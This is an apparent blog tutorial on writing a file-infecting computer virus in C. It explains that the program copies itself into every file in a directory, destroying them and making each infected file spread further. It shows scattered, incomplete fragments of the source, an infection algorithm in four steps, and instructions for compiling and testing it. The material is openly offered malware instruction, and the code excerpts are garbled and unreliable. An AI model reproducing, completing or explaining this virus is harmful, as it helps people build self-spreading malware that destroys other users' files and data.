This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
unsigned long x;
struct ffblk ffblk;
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
if(host==NULL) goto next;
printf(“DONE! (Total Files Infected= %d)”,a);
printf(“TIME TAKEN=%f SEC\n”,
You can download the source code from the following link:
How the Virus Program Works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
How to Compile the Program:
For a step-by-step guide, you can refer my detailed post on how to compile C programs?
How to Test the Virus After the Compilation:
Create a new empty folder.
Put some executable files (or any other files) in the folder.
Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.